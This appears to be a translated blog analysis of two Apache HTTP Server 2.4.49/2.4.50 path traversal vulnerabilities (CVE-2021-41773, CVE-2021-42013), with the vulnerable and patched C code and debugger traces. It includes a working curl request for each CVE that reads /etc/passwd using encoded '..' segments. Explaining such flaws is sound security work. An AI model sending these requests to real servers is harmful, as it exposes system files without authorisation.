CVE-2021-41773

Holes cause

The ap_normalize_path function used by Apache HTTP Server 2.4.49 normalizes path parameters by decoding the URL and determining whether there is a.. / path traverser, as follows:

while (path[l] ! = '\0') { if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) && path[l] == '%' && apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) { const char c = x2c(&path[l + 1]); if (apr_isalnum(c) || (c && strchr("-._~", c))) { /* Replace last char and fall through as the current * read position */ l += 2; path[l] = c; }}... if (w == 0 || IS_SLASH(path[w - 1])) { /* Collapse ///// sequences to / */ if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) { do { l++; } while (IS_SLASH(path[l])); continue; } if (path[l] == '.') { /* Remove /./ segments */ if (IS_SLASH_OR_NUL(path[l + 1])) { l++; if (path[l]) { l++; } continue; } /* Remove /xx/.. / segments */ if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) { /* Wind w back to remove the previous segment */  if (w > 1) { do { w--; } while (w && ! IS_SLASH(path[w - 1])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; }}Copy the code

When % characters are detected in the path, if the following two characters are hexadecimal characters, the URL is decoded and converted to standard characters, such as %2e->. After the conversion, the system determines whether there are.. /. If the form %2e./ is present in the path, it will be detected, but if the form.%2e/ is present, it will not be detected because it is traversing through the first one. If the following two characters are %2 instead of./, the path traverser is not treated as a path traverser. Therefore, you can use.%2e/ or %2e%2e to bypass the path traverser detection.

Vulnerability triggering & exploitation

Content is as follows:

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Copy the code

Bug fix

Version 2.4.50 Modified the ap_normalize_path function and added the following code to judge the bypass form of.%2e, so as to avoid using the bypass method.

if ((path[n] == '.' || (decode_unreserved && path[n] == '%' && path[++n] == '2' && (path[++n] == 'e' || path[n] == 'E'))) && IS_SLASH_OR_NUL(path[n + 1])) { /* Wind w back to remove the previous segment */ if (w > 1) { do { w--; } while (w && ! IS_SLASH(path[w - 1])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; } } /* Move l forward to the next segment */ l = n + 1; if (path[l]) { l++; } continue; }Copy the code

CVE-2021-42013

Holes cause

Apache HTTP Server 2.4.50 fixes to CVE-2021-41773 can avoid path traversal caused by URL encoding once. However, during request processing, ap_unescape_URL function will be called to decode parameters again, which still leads to path traversal.

The AP_process_request_internal function is called to process the URL path when an external HTTP request is processed. In this function, the ap_NORMalize_PATH function is first called to decode the URL. After that, the ap_unescape_URL function will be called for secondary decoding, with the code as follows:

/* This is the master logic for processing requests. Do NOT duplicate * this logic elsewhere, or the security model will be broken by future * API changes. Each phase must be individually optimized to pick up * redundant/duplicate calls by subrequests, and redirects. */ AP_DECLARE(int) ap_process_request_internal(request_rec *r) { ...... if (r->parsed_uri.path) { /* Normalize: remove /./ and shrink /.. / segments, plus * decode unreserved chars (first time only to avoid * double decoding after ap_unescape_url() below). */ if (! ap_normalize_path(r->parsed_uri.path, normalize_flags | AP_NORMALIZE_DECODE_UNRESERVED)) { ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244) "invalid URI path (%s)", r->unparsed_uri); return HTTP_BAD_REQUEST; }}... /* Ignore URL unescaping for translated URIs already */ if (access_status ! = DONE && r->parsed_uri.path) { core_dir_config *d = ap_get_core_module_config(r->per_dir_config); if (d->allow_encoded_slashes) { access_status = ap_unescape_url_keep2f(r->parsed_uri.path, d->decode_encoded_slashes); } else { access_status = ap_unescape_url(r->parsed_uri.path); } if (access_status) { if (access_status == HTTP_NOT_FOUND) { if (! d->allow_encoded_slashes) { ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026) "found %%2f (encoded '/') in URI path (%s), " "returning 404", r->unparsed_uri); } } return access_status; }Copy the code

Ap_normalize_path function call stack is as follows, before processing the path parameter is/ICONS /.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:

#0 ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508 #1 0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209 #2 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450 #3 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155 #4 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246 #5 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42 #6 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>) at event.c:1052 #7 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141 #8 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486 #9 0x00007f3276bf04cf in clone () at .. /sysdeps/unix/sysv/linux/x86_64/clone.S:95Copy the code

After being processed by ap_normalize_PATH, the path parameter becomes/ICONS /.%2e/.%2e/.%2e/.%2e/etc/passwd.

The ap_unescape_URL function actually calls the unescape_URL function, and the call stack is as follows:

#0 unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901 #1 0x000055b354e8ea3e in ap_unescape_url (url=<optimized out>) at util.c:1949 #2 0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250 #3 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450 #4 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155 #5 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246 #6 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42 #7 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>) at event.c:1052 #8 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141 #9 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486 #10 0x00007f3276bf04cf in clone () at .. /sysdeps/unix/sysv/linux/x86_64/clone.S:95Copy the code

After processing by the unescape_URL function, you can see that the content of the URL string becomes/ICONS /.. /.. /.. /.. The/etc/passwd:

(gdb) fin Run till exit from #0 unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901 0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250 250 request.c: No such file or directory. Value returned is $1 = 0 (gdb) x/s 0x7f32740916a0 0x7f32740916a0: "/icons/.. /.. /.. /.. /etc/passwd"Copy the code

Vulnerability triggering & exploitation

Content is as follows:

curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
Copy the code

Bug fix

Version 2.4.51 made several modifications for this vulnerability, the most core modification is to strengthen the VERIFICATION of URL encoding in ap_normalize_PATH function, and return encoding error if non-standard URL encoding (%+ two hexadecimal characters) is detected. Fundamentally eliminate multiple coding may lead to bypass, the repair code is as follows:

while (path[l] != '\0') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }
Copy the code

The last

Pay attention to me continue to update the relevant articles, private I get 2021 latest [network security learning materials · walkthrough]